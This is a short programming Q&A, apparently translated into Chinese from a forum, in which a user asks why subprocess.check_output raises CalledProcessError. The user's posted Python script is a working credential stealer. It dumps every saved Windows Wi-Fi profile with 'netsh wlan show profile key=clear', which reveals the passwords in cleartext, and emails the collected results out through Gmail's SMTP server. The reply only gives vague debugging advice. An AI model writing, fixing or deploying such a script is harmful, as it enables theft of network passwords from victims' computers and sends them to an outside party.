windows 中 wlan 的 Subprocess.check_output 的 CalledProcessError

CalledProcessError for Subprocess.check_output for wlan in windows

我在 Subprocess.Check_output 模块中遇到一个名为 CalledProcessError 的错误。谁能解决这个问题?

您的程序正在返回非零状态,这意味着在处理命令期间发生错误。您可能想在 subprocess.check_output 命令中添加一些参数来解决这个问题。

所以我做了一些更改,但我仍在尝试让电子邮件通过发送主要工作。你能看看它是否适合你吗?

import subprocess, smtplib, re
import sys


def send_mail(email, password, message):
    server = smtplib.SMTP("smtp.gmail.com", 587)
    server.starttls()
    server.login(email, password)
    server.sendmail(email, email, message)
    server.quit()


command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True ,stderr=subprocess.STDOUT)
network_names_list = re.findall("(?:Profile\s*:\s)(.*)", networks.decode("latin-1"))


result = ""

for network_name in network_names_list:
    try:
        print(network_name)
        command = "netsh wlan show profile key=clear" + "".join(network_name)
        current_result = str(subprocess.check_output(command, shell=True))
        result = result + current_result
        send_mail("email", "pass", result)
    except subprocess.CalledProcessError as e:
        raise RuntimeError("command '{}' returns with error (code {}):{}".format(e.cmd,e.returncode,e.output))